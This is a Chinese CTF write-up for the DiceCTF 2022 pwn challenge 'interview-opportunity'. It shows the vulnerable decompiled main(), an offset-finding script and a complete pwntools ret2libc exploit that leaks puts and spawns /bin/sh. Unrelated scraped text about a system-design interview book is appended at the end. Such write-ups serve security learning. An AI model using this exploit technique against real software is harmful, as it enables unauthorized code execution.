[DiceCTF 2022] interview-opportunity

前言

2022年打的第一场CTF, 不过也主要是划水, 有常规的题目也有比较进阶的
之前想复现来着, 结果在忙别的事一直拖了三个月…
比赛网址: https://ctf.dicega.ng/
CTFtime WP: https://ctftime.org/event/1541/tasks/

这道题本身很简单, 不过赛后看了国外师傅的blog令我眼前一亮, pwntools的ROP类提供find_gadget()函数来自动找gadget, 为此我还特地去读了下pwntools源码, 还去翻了翻github提交历史, 发现这个功能2017年前就有了, 但是感觉没多少人用?

所以来学习一下, 有这种函数就可以把ROPgadget给扔了(大概

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
  const char **v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+1Ch] [rbp-4h]

  v6 = argc;
  v5 = argv;
  env_setup(argc, argv, envp);
  printf(
    "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
    "petition against perfect blue.\n");
  printf("So tell us. Why should you join DiceGang?\n");
  read(0, buf, 0x46uLL);
  puts("Hello: ");
  puts(buf);
  return 0;
}

比较常规的栈溢出, 泄露libc, ret2libc

另外这个题的offset不是反编译看到的距离, 需要调试确定, 不过也可以用脚本自动化确定
在这里插入图片描述
在这里插入图片描述这里offset有个坑
注意buf没有按size_t对齐, 估计是编译的时候改了设置, 正确计算是0x7fffffffdf08 - 0x7fffffffdee6 = 0x22

或者脚本, 但是系统设置不同可能不出corefile

def find_offset():
	io = process('./interview-opportunity')
	payload = cyclic(512)
	io.sendline(payload)
	io.wait() # wait for crash

	crash_pattern = io.corefile.read(io.corefile.sp, 4)
	# print(crash_pattern)
	offset = cyclic_find(crash_pattern)
	return offset

print('offset = ', find_offset())

EXP

from pwn import *

filename = "./interview-opportunity"
elf = ELF(filename)
rop = ROP(elf)
libc = ELF("./libc.so.6")

context.log_level = "debug"
io = process(filename)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_addr = elf.sym['main']
    pop_rdi_addr = rop.find_gadget(['pop rdi', 'ret'])[0]
    ret_addr = rop.find_gadget(['ret'])[0]
    
    offset = 0x22
    payload = cyclic(offset) + p64(pop_rdi_addr) + p64(puts_got)
    payload += p64(puts_plt) + p64(main_addr)
    io.sendlineafter('?', payload)
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    lf('puts address', puts_addr)

    libc.address = puts_addr - libc.sym['puts']
    system_addr = libc.sym['system'] 
    binsh_addr = next(libc.search(b'/bin/sh'))
    payload = cyclic(offset) + p64(pop_rdi_addr) + p64(binsh_addr)
    payload += p64(system_addr) + p64(main_addr)
    io.sendlineafter('?', payload)
    

if __name__ == "__main__":
    pwn()
    io.interactive()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 《深入理解系统设计面试》是一本非常有用的系统设计面试指南。该指南深入讲解了系统设计的关键概念、原则和最佳实践。它适用于那些准备参加系统设计面试或想要提高系统设计技能的人群。 这本指南分为两部分。第一部分主要介绍了系统设计的基本概念和术语。它解释了系统设计面试的常见问题类型,并提供了解决这些问题的方法和技巧。此外,该指南还详细介绍了常用的系统设计模式和架构,让读者能够更好地理解和应用这些概念。 第二部分是一系列实际的面试问题和解答。这些问题覆盖了各种不同的系统设计场景,包括分布式系统、缓存、数据库设计、消息队列等等。每个问题都提供了详细的解答和相应的讨论,读者可以从中学习到如何有效地分析问题、提出解决方案以及权衡不同的设计选择。 整本书的风格非常实用和易懂。它通过清晰的说明、图表和示例来解释概念,让读者能够更好地理解和掌握内容。此外,每个问题都有详细的解答和讨论,帮助读者深入思考和理解系统设计的各个方面。 总之,《深入理解系统设计面试》是一本非常有价值的系统设计指南。它提供了全面的知识和实践经验,帮助读者掌握系统设计的核心概念和技巧,从而在面试或实际工作中取得成功。无论你是准备参加系统设计面试还是提升个人技能,这本书都会对你有很大的帮助。 ### 回答2: 《Grokking the System Design Interview》是一本关于系统设计面试的书籍,旨在帮助读者掌握系统设计的技巧和策略。这本书通过详细的案例分析和解答常见面试问题的方法,帮助读者建立起解决复杂系统设计问题的能力。 这本书首先介绍了系统设计面试的背景和重要性,强调了良好的系统设计能力在面试中的价值。然后,书中逐步介绍了解决系统设计问题的一般方法和步骤,包括需求分析、整体设计、数据库设计、缓存设计、分布式系统设计等方面。 《Grokking the System Design Interview》的亮点在于它通过真实世界的案例分析来解释不同的系统设计问题和解决方法。每个案例都包含了问题背景、需求、约束条件和解决方案。通过阅读这些案例,读者可以了解不同类型问题的思考方式和解决方案,并能够将这些方法应用到自己的系统设计问题中。 此外,书中还提供了一些常用的设计方案和优化技巧的讨论,例如使用缓存来提高系统性能、使用负载均衡来增加系统可扩展性等。这些技巧对于读者在面试中展示自己的技术能力和解决问题的能力非常有帮助。 总而言之,《Grokking the System Design Interview》是一本系统全面的系统设计面试指南,通过案例分析和实践经验,帮助读者掌握系统设计的核心原则和技巧。阅读这本书可以帮助读者在系统设计面试中脱颖而出,并取得成功。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值